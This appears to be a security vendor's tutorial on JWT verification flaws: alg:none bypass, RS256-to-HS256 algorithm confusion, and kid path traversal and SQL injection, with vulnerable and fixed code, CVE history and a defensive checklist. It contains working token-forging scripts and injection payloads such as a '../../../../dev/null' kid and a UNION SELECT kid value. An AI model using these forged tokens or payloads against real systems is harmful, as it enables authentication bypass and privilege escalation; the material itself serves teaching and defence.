JWT structure and the algorithm problem

A JSON Web Token consists of three base64url-encoded parts separated by dots: header.payload.signature. The header is a JSON object that specifies the token type ("typ": "JWT") and the signing algorithm ("alg": "RS256"). The payload contains the claims. The signature is computed over the header and payload using the key and algorithm specified in the header.

The fundamental design tension: the verifier needs to know which algorithm was used to verify the signature. The token carries this information in its own header. If the verifier trusts the header's alg claim without restriction, an attacker who controls the token (e.g., their own browser cookie) can manipulate the algorithm and forge a valid signature.

Decoded JWT header — what the library reads json
{
  "alg": "RS256",   ← attacker can change this
  "typ": "JWT"
}

{
  "sub": "user123",
  "role": "admin",   ← attacker wants this
  "iat": 1741478400,
  "exp": 1741564800
}

Attack 1: alg:none — the unsigned token bypass

The JWT RFC 7519 defines "none" as a valid algorithm value meaning "unsecured JWT" — no signature required. It was intended for use in contexts where the token is integrity-protected by other means (e.g., a TLS-secured channel where the token is not tampered with). Many early JWT libraries implemented it without requiring explicit opt-in.

The attack: take any valid JWT, decode the header, change "alg" to "none", modify the payload to escalate privileges, re-encode, and strip the signature. The resulting token passes verification in any library that doesn't explicitly disallow none.

Python — crafting an alg:none token python
import base64, json

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

# Step 1: craft header with alg:none
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "attacker", "role": "admin", "exp": 9999999999}

h = b64url_encode(json.dumps(header, separators=(",",":")).encode())
p = b64url_encode(json.dumps(payload, separators=(",",":")).encode())

# No signature — just the trailing dot
forged_token = f"{h}.{p}."
print(forged_token)
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.
Node.js — vulnerable verification (jsonwebtoken < 4.0) javascript
const jwt = require("jsonwebtoken");

// VULNERABLE: algorithm not specified, library trusts token header
const decoded = jwt.verify(forgedToken, publicKey);
// Returns { sub: 'attacker', role: 'admin' } — no error!

// SECURE: explicitly specify allowed algorithms
const decoded = jwt.verify(forgedToken, publicKey, {
  algorithms: ["RS256"]  // "none" will now throw
});

Variants still found in the wild: "alg": "None", "alg": "NONE", "alg": "nOnE" — case-insensitive matching bugs in some libraries accepted these where lowercase none was blocked.

Attack 2: RS256 → HS256 algorithm confusion

This attack is subtler and more dangerous. Applications using RS256 (asymmetric RSA signing) have two keys: a private key used to sign tokens, and a public key used to verify them. The public key is often distributed openly — embedded in JWKS endpoints, CDN-hosted, or included in client-side code.

The confusion attack exploits libraries that use a single code path for both symmetric (HS256, HMAC) and asymmetric (RS256, RSA) algorithms, selecting the algorithm based on the token header. The attack:

  1. Obtain the server's RSA public key (it's public — just fetch the JWKS endpoint).
  2. Create a new token with "alg": "HS256" in the header and the desired payload.
  3. Sign the token using HMAC-SHA256 with the RSA public key as the HMAC secret.
  4. The server receives the token, reads "alg": "HS256", and looks for an HMAC key. If the code path passes the RSA public key as the "secret", verification succeeds.
Python — RS256 to HS256 confusion attack python
import jwt  # PyJWT

# Fetch the server's public key from its JWKS endpoint
# (public information — no credentials needed)
rsa_public_key_pem = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""

# Sign a forged token with HS256, using the RSA PUBLIC key as the HMAC secret
forged_token = jwt.encode(
    {"sub": "attacker", "role": "admin", "exp": 9999999999},
    rsa_public_key_pem,   # public key used as HMAC secret!
    algorithm="HS256"
)
Node.js — vulnerable verification pattern javascript
// VULNERABLE: passes the public key to verify() without specifying algorithms
// Library reads "alg":"HS256" from header, uses publicKey as HMAC secret
const decoded = jwt.verify(forgedToken, publicKey);
// ✓ Verification passes — role: "admin"

// SECURE: explicitly allowlist RS256 only
const decoded = jwt.verify(forgedToken, publicKey, {
  algorithms: ["RS256"]
});
// ✗ Throws: "invalid algorithm"

Attack 3: kid parameter injection and path traversal

The kid (Key ID) header parameter is an optional hint telling the verifier which key to use. Some implementations look up the key by reading a file named by the kid value, or by querying a database with the raw kid string. Both are exploitable.

kid path traversal to /dev/null

If the server loads the signing key from the filesystem using the kid value as a filename, setting "kid": "../../../../dev/null" makes the server load an empty key. The attacker then signs the token with an empty string as the HMAC secret.

Forged JWT header with path traversal kid json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../dev/null"
}

kid SQL injection

If the kid is used in a database query to retrieve the key, and the query is not parameterized, SQL injection via the kid field can return an attacker-controlled key value — bypassing signature verification entirely.

Vulnerable key lookup — SQL injection via kid python
# VULNERABLE: kid used directly in query string
kid = header.get("kid")  # attacker-controlled
query = f"SELECT key FROM jwt_keys WHERE id = '{kid}'"
key = db.execute(query).fetchone()[0]

# Attack: kid = "x' UNION SELECT 'attacker_hmac_secret' --"
# Returns 'attacker_hmac_secret' as the key
# Attacker signs with 'attacker_hmac_secret' → verification passes

# SECURE: parameterized query
query = "SELECT key FROM jwt_keys WHERE id = ?"
key = db.execute(query, (kid,)).fetchone()[0]

Affected libraries and CVE history

  • jsonwebtoken (Node.js) — CVE-2015-9235: alg:none bypass in versions before 4.2.2. CVE-2022-23529: arbitrary file write via the secretOrPublicKey callback. Patched, but widely deployed legacy versions remain.
  • java-jwt (Auth0) — versions before 3.x did not enforce algorithm restrictions, permitting RS256→HS256 confusion.
  • PyJWT — CVE-2022-29217: algorithm confusion in versions before 2.4.0 when verify_signature was bypassed via crafted headers.
  • Java ECDSA (CVE-2022-21449) — "Psychic Signatures": a bug in Java 15–18's ECDSA implementation accepted any ECDSA signature for any data. Not strictly algorithm confusion, but the same category: forged tokens pass verification.

Checking your version is not enough. Many JWT vulnerabilities are in verification logic that can be misconfigured even in patched library versions. The algorithm allowlist must be explicitly specified in every verify() call, even after upgrading.

Secure implementation checklist

  • Always specify algorithms in verify calls. Never let the library read the algorithm from the token header without restriction.
  • Use separate keys for signing and verification. Asymmetric RS256/ES256 prevents HMAC confusion attacks because the private key is never accessible to verifiers.
  • Validate the kid parameter against a strict allowlist before using it to load a key. Reject any value containing path separators or special characters.
  • Use parameterized queries for any key lookup involving user-controlled JWT header fields.
  • Reject alg:none explicitly, even if your library claims to block it — test it.
  • Pin library versions and monitor CVE feeds for your JWT library. The jsonwebtoken, PyJWT, and java-jwt changelogs contain security advisories that are not always announced widely.
  • Use short expiry times (exp claim) and implement token revocation for high-value sessions — limits the window a forged or stolen token remains valid.

"The correct mental model is: the JWT library should be given the algorithm it expects to see — not asked to detect it. Any code path where the library auto-detects the algorithm from the token is a potential algorithm confusion vulnerability."

Detect JWT vulnerabilities in your codebase automatically

AquilaX SAST detects JWT algorithm confusion patterns, insecure verify() calls, and kid injection sinks across Node.js, Python, Java, and Go — with taint-flow analysis.

Try SAST scanning →